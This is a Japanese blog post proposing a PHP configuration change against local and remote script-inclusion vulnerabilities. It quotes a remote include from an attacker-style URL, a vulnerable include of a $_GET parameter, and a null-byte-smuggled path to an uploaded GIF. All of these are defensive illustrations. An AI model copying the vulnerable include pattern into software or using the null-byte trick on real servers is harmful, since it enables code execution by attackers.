スクリプトインクルード問題の根本的解決策

(Last Updated On: 2018年8月13日)

スクリプトインクルード問題には2種類の問題があります。一つはリモートスクリプトインクルード、もう一つはローカルスクリプトインクルードです。

デフォルト設定のPHP 5.2はURL形式のファイルをスクリプトとして実行できなくなりました。つまり

include(‘http://evil.example.com/attack.php’);

の様なコードは実行できなくなり、頻繁にレポートされる「リモートスクリプトの実行」が可能な脆弱性はデフォルト設定では発生しなくなりました。

しかし、PHP 5.2以降でもPHPプログラムはファイルにコードを埋め込む形式でプログラムを記述しなければなりません。アップロードされたローカルファイルをスクリプトとして実行するのは非常に簡単です。入力ファイルのバリデーションを行っても、全てのファイルからコードを取り除くのは簡単ではありませんし、現実的でない場合もあります。PHPは他の言語と異なり「コードを埋め込む形式」であるために、”ローカル”スクリプトインクルードがセキュリティ上の問題となる可能性が残されています。

PHPアプリでスクリプトインクルードがセキュリティ上の問題として度々取り上げられる原因は、PHPが「コード埋め込み型」でスクリプトを実行していることにあります。「コード埋め込み型」でスクリプトを実行していなければ他のスクリプト型言語を同等レベルにまでローカルスクリプト実行脆弱性を軽減することができます。

「デフォルト状態でのリモートスクリプトの実行機能」はあきらかにPHPにとって負の遺産でした。同じように「デフォルト状態でのコード埋め込み型のスクリプト」も負の遺産だと思っています。最近のPHPプログラムはコードとHTMLは分離され、埋め込み型である必要性があるのはテンプレートくらいになっています。多くの他のスクリプトファイルはプログラム以外のデータを埋め込む必要が全くないコードになっています。にもかかわらず「コードの埋め込み型のスクリプト」をデフォルトとして意図しないローカルスクリプトの実行に対して脆弱でありつづける必要はありません。

スクリプトインクルード問題対策には、まず「埋め込み型スクリプト」が保存されたディレクトリを指定し、それ以外はコードの埋め込みを許可しないように仕様変更が必要です。これによりユーザから送信された画像や圧縮ファイル、テキストファイルを誤ってスクリプトとして実行してしまう事態をかなり回避できるようになります。

パッチの作成は割と簡単です。埋め込みモードでスクリプト実行するディレクトリを保存するためのphp.ini設定を追加します。PHPがスクリプトファイルをコンパイルする場合、設定されたディレクトリ以外はパーサの初期状態をST_IN_SCRIPTINGに設定し、終了タグが現れても無視します。古いPHPとの互換性維持のため開始タグが現れても無視する様にすれば、既存のライブラリファイルもそのまま使えます。

ユーザが任意データをアップロード可能なアプリケーションに仮にローカルスクリプトインクルードに脆弱なコード

include($_GET[‘module_name’].’.php’);

が在ったとしても, $_GET[‘module_name’]にアップロードしたファイル名を設定して

include(“/www/upload/evil.gif¥0.php”);

のようなリクエストを送信しても、画像形式を適切にバリデーションしていれば”/www/upload/”に保存された画像ファイルをスクリプトとして実行されてしまう危険性を大幅に低減できます。バリデーションにはTokenizerを利用し、PHPのトークン(プログラムのコード)が無いことを確認します。

意図しないスクリプトインクルードされる問題を確実に回避するは埋め込みモードでスクリプトを実行するディレクトリだけでなく、通常モードでスクリプトを実行するディレクトリも指定できるようにします。こうすればこれらのディレクトリへの書き込みを適切に制限していればスクリプトインクルードによる攻撃を防ぐ事ができます。

パッチ作成は割と簡単です。欲しい方います??

投稿者: yohgaki